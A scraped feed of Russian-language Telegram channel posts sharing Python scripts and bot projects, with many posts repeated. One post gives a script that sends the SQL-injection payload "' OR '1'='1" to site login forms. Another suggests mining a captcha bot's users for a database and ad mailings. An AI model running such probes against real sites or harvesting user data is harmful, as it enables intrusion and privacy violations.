DocxCleaner.exe
37.4 MB
😴 Тихонечко сделаю пост, люди же приходят.
🖥 В общем, тот самый софт, скрипт, который текст от "юникода" чистит, полезно студентам и школьникам.
Пользуйтесь на здоровье.
‼️ P.S. антивирус может ругаться, если не верите, что там ничего нет (злого) - не запускайте. Код в комментарии скину, если кому нужен код.
🖥 В общем, тот самый софт, скрипт, который текст от "юникода" чистит, полезно студентам и школьникам.
Пользуйтесь на здоровье.
‼️ P.S. антивирус может ругаться, если не верите, что там ничего нет (злого) - не запускайте. Код в комментарии скину, если кому нужен код.
🤬10👍5❤1
⚡️ Есть ли какая-то база по библиотекам, которую нужно знать Python-разработчику. Думаю, что нет. Все очень зависит от того, в каком направлении вы хотите работать. Но есть "моя собственная" база, которую хоче порекомендовать Вам для изучения.
Дам Вам 10 полезных инструментов. Они все на картинке, но если хотите знать что и зачем - далее инфа. Если только начинаете учиться - обратите внимание, уделите время ⌛:
Использование этих библиотек не только ускоряет разработку. Оно делает ваш код чище, надежнее и более читаемым, так как вы опираетесь на проверенные и оптимизированные решения, созданные экспертами. Пользуйтесь.
Дам Вам 10 полезных инструментов. Они все на картинке, но если хотите знать что и зачем - далее инфа. Если только начинаете учиться - обратите внимание, уделите время ⌛:
- requests (http-запросы): для простой и понятной работы с API и сайтами;
- pandas (анализ данных): царь-библиотека для любых таблиц (CSV, Excel);
- pillow (изображения): режет, меняет и накладывает фильтры на картинки;
- fastapi (веб-api): молниеносное создание API с готовой документацией;
- pydantic (валидация): железобетонная проверка данных через тайп-хинты;
- loguru (логирование): красивые и полезные логи без сложной настройки;
- tqdm (прогресс-бары): добавляет шкалу загрузки в любой цикл одной строкой;
- pyautogui (автоматизация gui): управляет мышкой и клавиатурой вместо тебя;
- beautifulsoup4 (скрапинг): вытащит любые нужные данные с веб-страниц;
- schedule (планировщик): запуск функций по расписанию простым языком.
Использование этих библиотек не только ускоряет разработку. Оно делает ваш код чище, надежнее и более читаемым, так как вы опираетесь на проверенные и оптимизированные решения, созданные экспертами. Пользуйтесь.
👍3❤2
🖥 Подписчик хвастался в комментариях анализатором эмодзи и напомнил, что у меня есть анализатор Телеграм-каналов...
Один из первых относительно серьезных проектов (хоть и начального уровня), который я для портфолио делал.
🧠 Что умеет "Телеграф Анализатор"? 🛠
📈 Ключевые метрики: Собирает данные о подписчиках, просмотрах постов, реакциях и рассчитывает Engagement Rate (ER).
💬 Анализ комментариев: Определяет тональность (позитив/негатив/нейтрал), строит облако популярных слов из комментариев и показывает примеры.
☁️ Облака слов из постов: Помогают быстро оценить основные темы контента.
📅 Графики активности: Визуализирует активность постов по дням и часам – найдите лучшее время для публикаций!
👥 Активность аудитории: Показывает, в какие часы ваши подписчики наиболее активны в комментариях.
🥳 Статистика Emoji: Узнайте, какие эмодзи чаще всего используются в постах и комментариях вашего канала.
🔐 Безопасная авторизация: Подключение через ваши API ID/Hash, все данные обрабатываются локально на вашем ПК.
⚙️ Гибкая настройка: Выбирайте период для анализа, устанавливайте лимиты на количество сообщений и комментариев.
🎨 Современный интерфейс: Приятный дизайн в стиле Fusion с возможностью переключения между светлой и темной темами.
💾 Экспорт отчетов: Сохраняйте подробные данные в CSV-файл и текстовый отчет с основными выводами.
🚀 Почему это круто?
- Всё в одном: Комплексный анализ без необходимости использовать множество разных сервисов.
- Наглядно: Графики и визуализации делают данные понятными с первого взгляда.
- Полезно: Получайте инсайты и рекомендации для развития вашего канала.
- Конфиденциально: Приложение работает локально, ваши данные и ключи не передаются третьим лицам.
Скачать проект тут.
P.S. там первый запуск кривой, ID и HASH внутри приложения вводите, а номер телефона и код еще в IDE. В свое время не доделал и забросил.
Один из первых относительно серьезных проектов (хоть и начального уровня), который я для портфолио делал.
🧠 Что умеет "Телеграф Анализатор"? 🛠
📈 Ключевые метрики: Собирает данные о подписчиках, просмотрах постов, реакциях и рассчитывает Engagement Rate (ER).
💬 Анализ комментариев: Определяет тональность (позитив/негатив/нейтрал), строит облако популярных слов из комментариев и показывает примеры.
☁️ Облака слов из постов: Помогают быстро оценить основные темы контента.
📅 Графики активности: Визуализирует активность постов по дням и часам – найдите лучшее время для публикаций!
👥 Активность аудитории: Показывает, в какие часы ваши подписчики наиболее активны в комментариях.
🥳 Статистика Emoji: Узнайте, какие эмодзи чаще всего используются в постах и комментариях вашего канала.
🔐 Безопасная авторизация: Подключение через ваши API ID/Hash, все данные обрабатываются локально на вашем ПК.
⚙️ Гибкая настройка: Выбирайте период для анализа, устанавливайте лимиты на количество сообщений и комментариев.
🎨 Современный интерфейс: Приятный дизайн в стиле Fusion с возможностью переключения между светлой и темной темами.
💾 Экспорт отчетов: Сохраняйте подробные данные в CSV-файл и текстовый отчет с основными выводами.
🚀 Почему это круто?
- Всё в одном: Комплексный анализ без необходимости использовать множество разных сервисов.
- Наглядно: Графики и визуализации делают данные понятными с первого взгляда.
- Полезно: Получайте инсайты и рекомендации для развития вашего канала.
- Конфиденциально: Приложение работает локально, ваши данные и ключи не передаются третьим лицам.
Скачать проект тут.
P.S. там первый запуск кривой, ID и HASH внутри приложения вводите, а номер телефона и код еще в IDE. В свое время не доделал и забросил.
❤3😡3🙉2🦄1
✈️ Даю скрипт, который представляет собой легковесный шаблон для разработки Telegram-ботов.
🟣 Чистая архитектура: Код легко расширять, изменять и поддерживать благодаря использованию принципов чистой архитектуры.
🟣 Готовая система миграций Alembic: Упрощает управление изменениями в базе данных.
🟣 Поддержка PostgreSQL: Используется надежная и масштабируемая база данных.
🟣 RedisStorage: Бот сохраняет историю сообщений даже после перезапуска, обеспечивая непрерывность взаимодействия с пользователями.
🟣 aiogram-dialog: Удобный инструмент для описания пользовательского интерфейса и управления диалогами.
🤖 Язык программирования: Python 3.11+
📂 Модули: aiogram
🖥 База данных: PostgreSQL
Скачать сможете ТУТ.
🔥 P.S. для тех, кто не понял - это уже готовый каркас с базой данных, который можно расширять, модифицировать под свои нужды.
🟣 Чистая архитектура: Код легко расширять, изменять и поддерживать благодаря использованию принципов чистой архитектуры.
🟣 Готовая система миграций Alembic: Упрощает управление изменениями в базе данных.
🟣 Поддержка PostgreSQL: Используется надежная и масштабируемая база данных.
🟣 RedisStorage: Бот сохраняет историю сообщений даже после перезапуска, обеспечивая непрерывность взаимодействия с пользователями.
🟣 aiogram-dialog: Удобный инструмент для описания пользовательского интерфейса и управления диалогами.
🤖 Язык программирования: Python 3.11+
📂 Модули: aiogram
🖥 База данных: PostgreSQL
Скачать сможете ТУТ.
🔥 P.S. для тех, кто не понял - это уже готовый каркас с базой данных, который можно расширять, модифицировать под свои нужды.
❤4
🖥 Продолжу тему баз данных, об одной ключевой вчера не рассказал.
Сегодня о классической связке, которая лежит в основе многих крутых проектов: Python и MySQL.
🤔 Как они "дружат?"
Python "общается" с базами данных MySQL с помощью специальных библиотек-коннекторов. Самые популярные — mysql-connector-python (официальный от Oracle) и PyMySQL. 👀 Вы просто устанавливаете нужную библиотеку, импортируете ее в свой скрипт и можете выполнять любые SQL-запросы: создавать таблицы, добавлять данные, делать сложные выборки. Все просто и по-питоновски элегантно.
🚀 Где это используется?
Python + MySQL — это надежное и масштабируемое решение для огромного спектра задач.
P.S. я вижу сообщения от ВСЕХ в боте, не нужно писать по несколько раз. Я закрываю вопрос с 2-3 людьми, потом иду дальше.
Если я начну отвечать всем и сразу - никто решение своей проблемы не получит, а я к тому, что сейчас кушаю золофт, еще пару таблеток у психиатра выпишу. До всех очередь дойдет, компенсирую работой/деньгами.
Сегодня о классической связке, которая лежит в основе многих крутых проектов: Python и MySQL.
🤔 Как они "дружат?"
Python "общается" с базами данных MySQL с помощью специальных библиотек-коннекторов. Самые популярные — mysql-connector-python (официальный от Oracle) и PyMySQL. 👀 Вы просто устанавливаете нужную библиотеку, импортируете ее в свой скрипт и можете выполнять любые SQL-запросы: создавать таблицы, добавлять данные, делать сложные выборки. Все просто и по-питоновски элегантно.
🚀 Где это используется?
1. Веб-приложения на Django & Flask: Это самая частая сфера применения. Интернет-магазины, блоги, CRM-системы, социальные сети — везде, где нужно надежно хранить данные о пользователях, товарах или постах, MySQL отлично справляется с ролью хранилища. Django и Flask имеют прекрасную интеграцию с этой СУБД.
2. Аналитика и ETL-процессы: Представьте, что вы парсите данные с сайтов. Python-скрипт собирает информацию, обрабатывает ее и аккуратно записывает в таблицы MySQL. Позже эти данные можно легко анализировать и строить отчеты.
3. Телеграм-боты: Ваш бот должен помнить пользователей, их настройки или историю сообщений? MySQL — отличный и надежный выбор для хранения этой информации.
4. Системы мониторинга: Скрипты, которые следят за состоянием серверов или приложений, могут записывать логи и метрики в базу MySQL для последующего анализа.
Python + MySQL — это надежное и масштабируемое решение для огромного спектра задач.
P.S. я вижу сообщения от ВСЕХ в боте, не нужно писать по несколько раз. Я закрываю вопрос с 2-3 людьми, потом иду дальше.
Если я начну отвечать всем и сразу - никто решение своей проблемы не получит, а я к тому, что сейчас кушаю золофт, еще пару таблеток у психиатра выпишу. До всех очередь дойдет, компенсирую работой/деньгами.
❤2🗿1
⚙️ Генерирует QR со ссылки, любого текста.
Ниже зависимости:
import qrcode
from PIL import Image
def generate_qr_code(data, filename="qr_code.png"):
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=10,
border=4,
)
qr.add_data(data)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save(filename)
return filename
if __name__ == "__main__":
print("Генератор QR-кодов")
input_data = input("Введите текст или ссылку для кодирования в QR-код: ")
output_filename = input("Введите имя файла для сохранения QR-кода (например, my_qr.png) или нажмите Enter для 'qr_code.png': ")
if not output_filename:
output_filename = "qr_code.png"
elif not output_filename.lower().endswith(('.png', '.jpg', '.jpeg', '.bmp', '.gif')):
output_filename += ".png"
saved_file = generate_qr_code(input_data, output_filename)
print(f"QR-код успешно создан и сохранен как '{saved_file}'")
Ниже зависимости:
pip install qrcode Pillow
❤1
😝 Как по мне, еще один пик-подгон для студентов.
ИИ-ассистент в Telegram, готовый упростить работу с аудио и текстами. Запищите, перешлите ему аудио-сообщение и он не только проведет транскрибацию, но и сделает выжимку из текста по заданным настройкам.
Что умеет:
- 🗣 Принимает голосовые сообщения (.ogg) и различные аудиофайлы (.mp3, .wav, и т.д.).
- ✍️ Быстро и точно транскрибирует аудио в текст с помощью продвинутой модели Whisper. Пользователи могут выбрать язык транскрибации или доверить боту автоопределение!
-💡 Генерирует краткое и информативное резюме из полученного текста или любого текстового сообщения от пользователя. Доступны разные стили: от очень короткого до подробного с ключевыми пунктами.
- ⚙️ Позволяет настроить язык для транскрибации и выбрать подходящий стиль резюме через команду /settings.
✍️ Просто отправьте ему голосовое, аудио или текстовое сообщение, и он сделает все остальное! Хоть пары на диктофон пишите.
Скачать проект можно тут.
ИИ-ассистент в Telegram, готовый упростить работу с аудио и текстами. Запищите, перешлите ему аудио-сообщение и он не только проведет транскрибацию, но и сделает выжимку из текста по заданным настройкам.
Что умеет:
- 🗣 Принимает голосовые сообщения (.ogg) и различные аудиофайлы (.mp3, .wav, и т.д.).
- ✍️ Быстро и точно транскрибирует аудио в текст с помощью продвинутой модели Whisper. Пользователи могут выбрать язык транскрибации или доверить боту автоопределение!
-💡 Генерирует краткое и информативное резюме из полученного текста или любого текстового сообщения от пользователя. Доступны разные стили: от очень короткого до подробного с ключевыми пунктами.
- ⚙️ Позволяет настроить язык для транскрибации и выбрать подходящий стиль резюме через команду /settings.
✍️ Просто отправьте ему голосовое, аудио или текстовое сообщение, и он сделает все остальное! Хоть пары на диктофон пишите.
Скачать проект можно тут.
🔥2😡1
Для работы использовал FFMPEG.
Как легкий пример для поста выше.
Как легкий пример для поста выше.
import os
import ffmpeg
class VideoToGifConverter:
def __init__(self, source_dir="video", target_dir="gif", frame_rate=2):
self.source_dir = source_dir
self.target_dir = target_dir
self.frame_rate = frame_rate
os.makedirs(self.source_dir, exist_ok=True)
os.makedirs(self.target_dir, exist_ok=True)
def get_video_files(self):
return [
file_name
for file_name in os.listdir(self.source_dir)
if file_name.lower().endswith(".mp4")
]
def convert_videos_to_gif(self):
video_files = self.get_video_files()
for video_file in video_files:
base_name = os.path.splitext(video_file)[0]
gif_file_name = base_name + ".gif"
input_path = os.path.join(self.source_dir, video_file)
output_path = os.path.join(self.target_dir, gif_file_name)
stream = ffmpeg.input(input_path)
stream = stream.filter("fps", fps=self.frame_rate)
stream = ffmpeg.output(stream, output_path)
ffmpeg.run(stream)
def main():
converter = VideoToGifConverter(source_dir="video", target_dir="gif", frame_rate=2)
converter.convert_videos_to_gif()
if __name__ == "__main__":
main()
🖥 Подписчик хвастался в комментариях анализатором эмодзи и напомнил, что у меня есть анализатор Телеграм-каналов...
Один из первых относительно серьезных проектов (хоть и начального уровня), который я для портфолио делал.
🧠 Что умеет "Телеграф Анализатор"? 🛠
📈 Ключевые метрики: Собирает данные о подписчиках, просмотрах постов, реакциях и рассчитывает Engagement Rate (ER).
💬 Анализ комментариев: Определяет тональность (позитив/негатив/нейтрал), строит облако популярных слов из комментариев и показывает примеры.
☁️ Облака слов из постов: Помогают быстро оценить основные темы контента.
📅 Графики активности: Визуализирует активность постов по дням и часам – найдите лучшее время для публикаций!
👥 Активность аудитории: Показывает, в какие часы ваши подписчики наиболее активны в комментариях.
🥳 Статистика Emoji: Узнайте, какие эмодзи чаще всего используются в постах и комментариях вашего канала.
🔐 Безопасная авторизация: Подключение через ваши API ID/Hash, все данные обрабатываются локально на вашем ПК.
⚙️ Гибкая настройка: Выбирайте период для анализа, устанавливайте лимиты на количество сообщений и комментариев.
🎨 Современный интерфейс: Приятный дизайн в стиле Fusion с возможностью переключения между светлой и темной темами.
💾 Экспорт отчетов: Сохраняйте подробные данные в CSV-файл и текстовый отчет с основными выводами.
🚀 Почему это круто?
- Всё в одном: Комплексный анализ без необходимости использовать множество разных сервисов.
- Наглядно: Графики и визуализации делают данные понятными с первого взгляда.
- Полезно: Получайте инсайты и рекомендации для развития вашего канала.
- Конфиденциально: Приложение работает локально, ваши данные и ключи не передаются третьим лицам.
Скачать проект тут.
P.S. там первый запуск кривой, ID и HASH внутри приложения вводите, а номер телефона и код еще в IDE. В свое время не доделал и забросил.
Один из первых относительно серьезных проектов (хоть и начального уровня), который я для портфолио делал.
🧠 Что умеет "Телеграф Анализатор"? 🛠
📈 Ключевые метрики: Собирает данные о подписчиках, просмотрах постов, реакциях и рассчитывает Engagement Rate (ER).
💬 Анализ комментариев: Определяет тональность (позитив/негатив/нейтрал), строит облако популярных слов из комментариев и показывает примеры.
☁️ Облака слов из постов: Помогают быстро оценить основные темы контента.
📅 Графики активности: Визуализирует активность постов по дням и часам – найдите лучшее время для публикаций!
👥 Активность аудитории: Показывает, в какие часы ваши подписчики наиболее активны в комментариях.
🥳 Статистика Emoji: Узнайте, какие эмодзи чаще всего используются в постах и комментариях вашего канала.
🔐 Безопасная авторизация: Подключение через ваши API ID/Hash, все данные обрабатываются локально на вашем ПК.
⚙️ Гибкая настройка: Выбирайте период для анализа, устанавливайте лимиты на количество сообщений и комментариев.
🎨 Современный интерфейс: Приятный дизайн в стиле Fusion с возможностью переключения между светлой и темной темами.
💾 Экспорт отчетов: Сохраняйте подробные данные в CSV-файл и текстовый отчет с основными выводами.
🚀 Почему это круто?
- Всё в одном: Комплексный анализ без необходимости использовать множество разных сервисов.
- Наглядно: Графики и визуализации делают данные понятными с первого взгляда.
- Полезно: Получайте инсайты и рекомендации для развития вашего канала.
- Конфиденциально: Приложение работает локально, ваши данные и ключи не передаются третьим лицам.
Скачать проект тут.
P.S. там первый запуск кривой, ID и HASH внутри приложения вводите, а номер телефона и код еще в IDE. В свое время не доделал и забросил.
👍1
🤖 Бот для защиты чатов от юзер-ботов! (ахаах, получается, я делаю и вирус и вакцины...)🛡
Telegram-бот, созданный для того, чтобы сделать наши чаты чище и безопаснее. Если вам, как и мне, надоели спам-атаки и нашествия юзер-ботов, которые присоединяются к группам только для того, чтобы сеять хаос, то это решение для вас! 🚀 Реальная защита отшлюхо-ботов подконтрольных аккаунтов, которые выполняют скриптованные действия.
‼️ В чем суть? 🤔
Идея проста, но эффективна: каждый новый участник, входящий в чат, где мой бот является администратором, должен доказать, что он человек. Как? Через старую добрую капчу! 🤖➡️👤
Как это работает :
Само собой, если пользователь еще не прошел капчу, но пытается что-то написать в общем чате, его сообщения будут мгновенно удаляться. Никакого спама до подтверждения!
🔼 Есть даже небольшая админ-панель (/admin в ЛС с ботом), где можно посмотреть базовую статистику, например, сколько групп бот сейчас активно защищает. В последствии - можно масштабировать. Т.к. бот модерирует все чаты, куда его добавили администратором, количество его пользователей (ведь все они будут писать боту /start) может быть довольно большим. Далее, владелец бота может использовать это так, как пожелает:
- продавать подписку на бота за небольшую сумму для владельцев ТГ-чатов, каналов;
- извлекать базу данных по пользователям в Телеграм;
- делать рассылку рекламы через бота, к примеру.
🧠 Применений и способов к расширению, монетизации - масса, главное включить фантазию и найти тех, кто будет пользоваться. Вот, уже готовый, хоть и простой, но потенциально прибыльный инструмент, в правильных руках.
Скачать проект как всегда можно тут.
Telegram-бот, созданный для того, чтобы сделать наши чаты чище и безопаснее. Если вам, как и мне, надоели спам-атаки и нашествия юзер-ботов, которые присоединяются к группам только для того, чтобы сеять хаос, то это решение для вас! 🚀 Реальная защита от
‼️ В чем суть? 🤔
Идея проста, но эффективна: каждый новый участник, входящий в чат, где мой бот является администратором, должен доказать, что он человек. Как? Через старую добрую капчу! 🤖➡️👤
Как это работает :
1) Как только новый пользователь появляется в чате, бот вежливо приветствует его и предлагает пройти быструю проверку – для этого нужно перейти в личный чат с ботом и ввести капчу.
2) В приватном диалоге бот показывает уникальную 6-значную капчу (буквы и цифры в случайном порядке).
3) ⏳: У новичка есть ровно 5 минут, чтобы справиться с задачей.
4) Если капча не введена или введена неверно за отведенное время, бот безжалостно (но справедливо!) исключает пользователя из группы.
5) 🎉: Если капча введена правильно: все следы "проверки" (сообщение с капчей в группе, диалог в ЛС) элегантно удаляются, в группу отправляется красивое приветственное сообщение с упоминанием нового участника, которое исчезает через 15 секунд, не засоряя чат.
Само собой, если пользователь еще не прошел капчу, но пытается что-то написать в общем чате, его сообщения будут мгновенно удаляться. Никакого спама до подтверждения!
🔼 Есть даже небольшая админ-панель (/admin в ЛС с ботом), где можно посмотреть базовую статистику, например, сколько групп бот сейчас активно защищает. В последствии - можно масштабировать. Т.к. бот модерирует все чаты, куда его добавили администратором, количество его пользователей (ведь все они будут писать боту /start) может быть довольно большим. Далее, владелец бота может использовать это так, как пожелает:
- продавать подписку на бота за небольшую сумму для владельцев ТГ-чатов, каналов;
- извлекать базу данных по пользователям в Телеграм;
- делать рассылку рекламы через бота, к примеру.
🧠 Применений и способов к расширению, монетизации - масса, главное включить фантазию и найти тех, кто будет пользоваться. Вот, уже готовый, хоть и простой, но потенциально прибыльный инструмент, в правильных руках.
Скачать проект как всегда можно тут.
❤1
This media is not supported in your browser
VIEW IN TELEGRAM
Появился повод перейти на Windows 11 ;D
Windows 11 получила очень удобную функцию: быстрое завершение зависших приложений прямо с панели задач, без обращения к «Диспетчеру задач». Для этого достаточно кликнуть правой кнопкой мыши по значку программы и выбрать «Завершить задачу».
Спустя столько лет, ахахаха
Windows 11 получила очень удобную функцию: быстрое завершение зависших приложений прямо с панели задач, без обращения к «Диспетчеру задач». Для этого достаточно кликнуть правой кнопкой мыши по значку программы и выбрать «Завершить задачу».
Чтобы включить: «Параметры» -> «Система» -> «Для разработчиков» -> «Завершить задачу».
Спустя столько лет, ахахаха
😐14🤣4🦄2🍌1
Forwarded from Хентай Солярис
Please open Telegram to view this post
VIEW IN TELEGRAM
🤬4❤2👍1🔥1
Скрипт для проверки ресурса на уязвимость к SQL-инъекции. Вайб-кодерам, которые пишут сайты - привет ;)
P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.
import requests
from bs4 import BeautifulSoup
import logging
# Настройка логирования
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
def find_login_forms(url):
"""
Ищет формы входа на указанном веб-сайте.
Args:
url (str): URL веб-сайта.
Returns:
list: Список URL-адресов форм входа.
"""
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
forms = soup.find_all('form')
login_forms = []
for form in forms:
if 'login' in str(form).lower() or 'sign' in str(form).lower():
action = form.get('action')
if action:
login_forms.append(action)
return login_forms
except Exception as e:
logger.error(f"Ошибка при поиске форм входа на {url}: {e}")
return []
def check_sql_injection(url):
"""
Проверяет уязвимость SQL-инъекции на указанном URL.
Args:
url (str): URL для проверки.
Returns:
bool: True если уязвимость обнаружена, иначе False.
"""
payload = "' OR '1'='1"
test_url = f"{url}?username={payload}&password={payload}"
try:
response = requests.get(test_url)
if "welcome" in response.text.lower() or "dashboard" in response.text.lower():
logger.info(f"Возможная уязвимость SQL-инъекции на {url}")
return True
else:
logger.info(f"Уязвимость SQL-инъекции не обнаружена на {url}")
return False
except Exception as e:
logger.error(f"Ошибка при проверке SQL-инъекции на {url}: {e}")
return False
if __name__ == "__main__":
target_url = "http://example.com/login"
login_forms = find_login_forms(target_url)
for form_action in login_forms:
full_url = f"http://example.com{form_action}"
vulnerable = check_sql_injection(full_url)
print(f"URL: {full_url} | SQL Injection Vulnerable: {vulnerable}")
P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.
❤2🏆1
Telegram-бот для продажи подписок на закрытые каналы/чаты 🚀
Удобный инструмент, который поможет вам легко монетизировать ваши закрытые каналы, принимая оплату напрямую в Telegram Stars 🌟. При наличии прямых рук, можно и USDT, и рубли, и гривны прикрутить.
🖥 Что умеет бот:
- Автоматически выдает доступ к вашему приватному каналу сразу после успешной оплаты Stars.
- Предлагает пользователям понятное меню: "Купить подписку", "О проекте", "Отзывы" и "Гарантии".
- Имеет гибкую админ-панель, где вы сможете:
💰 Менять цену подписки.
📝 Редактировать все тексты и описания.
🔗 Обновлять ссылки на каналы (основной и с отзывами).
👁 Включать или отключать кнопки в пользовательском меню.
🖼 Позволяет устанавливать свои картинки для каждого этапа меню! (в .env нужно путь указать).
Стек:
- aiogram;
- python-dotenv.
P.S. для stars провайдера указывать не нужно, в .env оставить пустым. Картинки на каждом етапе меню также могут быть, просто укажите путь к ним в .env.
Скачать проект.
Удобный инструмент, который поможет вам легко монетизировать ваши закрытые каналы, принимая оплату напрямую в Telegram Stars 🌟. При наличии прямых рук, можно и USDT, и рубли, и гривны прикрутить.
🖥 Что умеет бот:
- Автоматически выдает доступ к вашему приватному каналу сразу после успешной оплаты Stars.
- Предлагает пользователям понятное меню: "Купить подписку", "О проекте", "Отзывы" и "Гарантии".
- Имеет гибкую админ-панель, где вы сможете:
💰 Менять цену подписки.
📝 Редактировать все тексты и описания.
🔗 Обновлять ссылки на каналы (основной и с отзывами).
👁 Включать или отключать кнопки в пользовательском меню.
🖼 Позволяет устанавливать свои картинки для каждого этапа меню! (в .env нужно путь указать).
Стек:
- aiogram;
- python-dotenv.
P.S. для stars провайдера указывать не нужно, в .env оставить пустым. Картинки на каждом етапе меню также могут быть, просто укажите путь к ним в .env.
Скачать проект.
❤2
⚙️ Генерирует QR со ссылки, любого текста.
Ниже зависимости:
import qrcode
from PIL import Image
def generate_qr_code(data, filename="qr_code.png"):
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=10,
border=4,
)
qr.add_data(data)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save(filename)
return filename
if __name__ == "__main__":
print("Генератор QR-кодов")
input_data = input("Введите текст или ссылку для кодирования в QR-код: ")
output_filename = input("Введите имя файла для сохранения QR-кода (например, my_qr.png) или нажмите Enter для 'qr_code.png': ")
if not output_filename:
output_filename = "qr_code.png"
elif not output_filename.lower().endswith(('.png', '.jpg', '.jpeg', '.bmp', '.gif')):
output_filename += ".png"
saved_file = generate_qr_code(input_data, output_filename)
print(f"QR-код успешно создан и сохранен как '{saved_file}'")
Ниже зависимости:
pip install qrcode Pillow
🤪1
This media is not supported in your browser
VIEW IN TELEGRAM
‼️ Даю пушку (!) для тех, кто точно не хочет быть замененным нейросетями :D
В этом наборе вы найдете ресурсы для:
- Обучения и донастройки LLM
- Фреймворков для разработки приложений на основе LLM
- Подготовки данных и доступа к нескольким API
- Retrieval-Augmented Generation (RAG) с использованием LLM
- Инференса и развертывания LLM
- Извлечения и генерации данных
- Создания и оценки агентов на базе LLM
- Мониторинга
- Инженерии промптов
- Получения структурированных выводов
- Обеспечения безопасности
- Работы с моделями вложений (embedding models)
🚀 Чтобы не остаться за бортом, нужно учиться парни (и не дай бог тут есть девушки).
P.S. ваш дурень поспешил и дал пост без ссылки.
Вот репозиторий.
Репозиторий llm-engineer-toolkit на GitHub представляет собой тщательно подобранный список из более чем 120 библиотек для работы с большими языковыми моделями (LLM). Эти инструменты сгруппированы по различным категориям применения.
В этом наборе вы найдете ресурсы для:
- Обучения и донастройки LLM
- Фреймворков для разработки приложений на основе LLM
- Подготовки данных и доступа к нескольким API
- Retrieval-Augmented Generation (RAG) с использованием LLM
- Инференса и развертывания LLM
- Извлечения и генерации данных
- Создания и оценки агентов на базе LLM
- Мониторинга
- Инженерии промптов
- Получения структурированных выводов
- Обеспечения безопасности
- Работы с моделями вложений (embedding models)
🚀 Чтобы не остаться за бортом, нужно учиться парни (и не дай бог тут есть девушки).
P.S. ваш дурень поспешил и дал пост без ссылки.
Вот репозиторий.
👍3😁1
two_claps_open-main.rar
7.4 KB
👀 Скрипт ловит два хлопка, на них можно настроить что угодно.
В проекте две реализации:
- открытие ДОТЫ2;
- запуск голосового ассистена Gemini (нужен API-ключ).
Забавно, можно найти применение.
⚙️ Как это работает:
В основе всего лежит технология обнаружения хлопков в реальном времени. Этот процесс реализован как в Python-скриптах, так и в прототипах на MATLAB:
✍️ Отличный пример того, как можно объединить классические алгоритмы обработки сигналов для создания надёжного триггера и подключить к нему мощь современных нейросетей для выполнения осмысленных задач.
В проекте две реализации:
- открытие ДОТЫ2;
- запуск голосового ассистена Gemini (нужен API-ключ).
Забавно, можно найти применение.
⚙️ Как это работает:
В основе всего лежит технология обнаружения хлопков в реальном времени. Этот процесс реализован как в Python-скриптах, так и в прототипах на MATLAB:
- захват аудио: скрипты непрерывно слушают аудиопоток с микрофона с частотой дискретизации 44100 Гц. Аудио делится на короткие фрагменты (фреймы) длительностью 20 мс;
- фильтрация: хлопок имеет характерный частотный спектр. Чтобы отсеять посторонние шумы (голос, музыку, звуки улицы), каждый фрейм проходит через полосовой фильтр Баттерворта. Фильтр пропускает только частоты в диапазоне от 1400 Гц до 1800 Гц. К фреймам применяется оконная функция Ханна для сглаживания и уменьшения спектральных искажений;
- детекция пиков: в отфильтрованном сигнале скрипт ищет резкие всплески амплитуды (пики), которые превышают заданный порог (например, 0.2);
- защита от ложных срабатываний: Чтобы один громкий хлопок не был засчитан как два, установлена минимальная задержка между обнаруженными пиками — 0.2 секунды.
✍️ Отличный пример того, как можно объединить классические алгоритмы обработки сигналов для создания надёжного триггера и подключить к нему мощь современных нейросетей для выполнения осмысленных задач.
🖥 В целом мой курс будет начинаться с предложения скачать вот такой вот софт. Это не обязательно но многим может упростить их путь в начале:
1) Поможет скачать последнюю актуальную версию IDE под ОС пользователя;
2) А также Python из последних актуальных релизов.
Будут и рекомендации по правильной установке.
📱 Будет кросс-платформа. Софт сам определяет, на какой платформе запущен, от этого и делает выбор, для какой платформы качать установщик".
🧠 На третьей страничке - ссылки на ресурсы, которые явно помогут в обучении, особенно на начальном этапе. Постарался собрать там и RU/Eng источники, чтобы всем все было понятно.
Пока что так. .exe под Windows мб дам сюда сегодня-завтра.
1) Поможет скачать последнюю актуальную версию IDE под ОС пользователя;
2) А также Python из последних актуальных релизов.
Будут и рекомендации по правильной установке.
📱 Будет кросс-платформа. Софт сам определяет, на какой платформе запущен, от этого и делает выбор, для какой платформы качать установщик".
Страничку с choco я еще заполню командами. Сейчас там уже есть вкладки (медиа, разработка, веб-разработка и т.д.) с командами для экспресс-установки рабочих инструментов. В одну строчку можно установить все те же IDE, Python, Node JS, драйвера, кодеки и даже Steam :D
🧠 На третьей страничке - ссылки на ресурсы, которые явно помогут в обучении, особенно на начальном этапе. Постарался собрать там и RU/Eng источники, чтобы всем все было понятно.
Пока что так. .exe под Windows мб дам сюда сегодня-завтра.
❤🔥2😡2